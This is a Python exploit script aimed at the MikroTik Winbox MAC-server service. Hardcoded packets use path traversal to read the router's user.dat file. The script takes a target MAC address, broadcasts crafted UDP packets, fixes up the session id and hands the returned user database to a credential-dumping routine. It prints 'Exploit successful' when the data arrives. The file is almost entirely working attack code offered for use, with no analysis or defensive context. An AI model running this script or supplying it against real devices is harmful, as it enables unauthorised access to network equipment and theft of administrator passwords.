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MACServerExploit.py
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MACServerExploit.py
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import threading, socket, struct, time, sys, binascii, datetime
from extract_user import dump
# MAC server Winbox exploit by BigNerd95 (and mosajjal)
a = bytearray([0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,
0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,
0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66,
0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,
0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,
0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,
0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,
0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
0x00, 0x00])
b = bytearray([0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01,
0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08,
0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09,
0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01,
0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00,
0x00, 0x02, 0x00, 0x00, 0x00])
class MikrotikMACClient():
START = 0
DATA = 1
ACK = 2
END = 255
PROTO_VERSION = 1
CLIENT_TYPE = 0x0F90
SESSION_ID = 0x1234
ADDR = ("255.255.255.254", 20561)
HEADLEN = 22
VERBOSE = False
def __init__(self, mac):
self.session_bytes_sent = 0
self.session_bytes_recv = 0
self.source_mac = b"\xff\xff\xff\xff\xff\xff" # put mac of your pc if mikrotik is not responding
self.dest_mac = mac
self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
self.sock.bind(('', 0))
self.buffer = []
self.work = True
self.connected = False
self.rm = threading.Thread(target=self.__recv_manager__)
self.rm.start()
self.__send_init__()
def __recv_manager__(self):
while self.work:
try:
data, _ = self.sock.recvfrom(1024*64)
self.__parse_packet__(data)
except Exception as e:
self.__print__("Socket aborted.")
def __buffer_pop__(self):
while not self.buffer and self.connected:
time.sleep(0.005)
return self.buffer.pop(0)
def __parse_packet__(self, data):
_, packet_type = struct.unpack(">BB", data[:2])
session_id, _, session_bytes = struct.unpack(">HHI", data[14:self.HEADLEN])
if packet_type == self.DATA:
self.__print__("New DATA")
self.session_bytes_recv += len(data) - self.HEADLEN
self.__send_ack__()
self.buffer.append(data[self.HEADLEN:])
self.connected = True
elif packet_type == self.ACK:
self.__print__("New ACK")
self.connected = True
self.session_bytes_sent = session_bytes
elif packet_type == self.END:
self.__print__("End session")
self.connected = False
self.work = False
self.__send_ack__()
else:
self.__print__("Unknown packet")
self.__print__(data)
self.__print__("ID:", session_id, "Bytes:", session_bytes)
if len(data) > self.HEADLEN:
self.__print__("Data:", data[self.HEADLEN:])
self.__print__()
def __send_ack__(self):
self.sock.sendto(self.__build_packet__(self.ACK), self.ADDR)
def __send_data__(self, data):
self.sock.sendto(self.__build_packet__(self.DATA, data), self.ADDR)
def __send_end__(self):
self.sock.sendto(self.__build_packet__(self.END), self.ADDR)
def __send_init__(self):
self.sock.sendto(self.__build_packet__(self.START), self.ADDR)
n = datetime.datetime.now()
while not self.connected:
if (datetime.datetime.now()-n).total_seconds() > 3:
#self.close() # This does not seem to work as expected.
self.work = False
#self.sock.setblocking(0) # This doesn't seem to affect the "recvfrom" if it is already waiting.
raise Exception("Conenction timeout, no response from " + self.dest_mac)
time.sleep(0.005)
def __build_packet__(self, packet_type, data=b""):
header = struct.pack(">BB",
self.PROTO_VERSION,
packet_type
)
header += self.source_mac
header += binascii.unhexlify(self.dest_mac.replace(':', ''))
header += struct.pack(">HHI",
self.SESSION_ID,
self.CLIENT_TYPE,
self.session_bytes_sent if packet_type == self.DATA else self.session_bytes_recv
)
return header + data
def __print__(self, *msg):
if self.VERBOSE:
print(*msg)
def send(self, data):
self.__send_data__(data)
def recv(self, minlen=None, contains=None):
d = self.__buffer_pop__()
while (minlen and len(d) < minlen) or (contains and contains not in d):
d = self.__buffer_pop__()
return d
def close(self):
self.work = False
self.__send_end__()
if __name__ == "__main__":
if len(sys.argv) < 2 or len(sys.argv) > 2:
print("Usage: python3 MACServerExploit.py MAC_ADDRESS")
exit()
mac = sys.argv[1]
if len(mac) != 17 or len(mac.replace(':', '')) != 12: # Lazy MAC address check.
print("\"" + mac + "\" is an invalid MAC address. Has to be formatted as: 11:22:33:44:55:66")
exit()
try:
m = MikrotikMACClient(mac)
m.send(a)
b[19] = m.recv(minlen=39)[38] # set correct session id
m.send(b)
d = m.recv(contains=b"\x11\x00\x00\x21")
except Exception as e:
print("Connection error: " + str(e))
exit()
m.close()
#Get results
print("Connected to " + mac)
if len(d[55:]) > 25:
print("Exploit successful")
dump(d[55:])
else:
print("Exploit failed")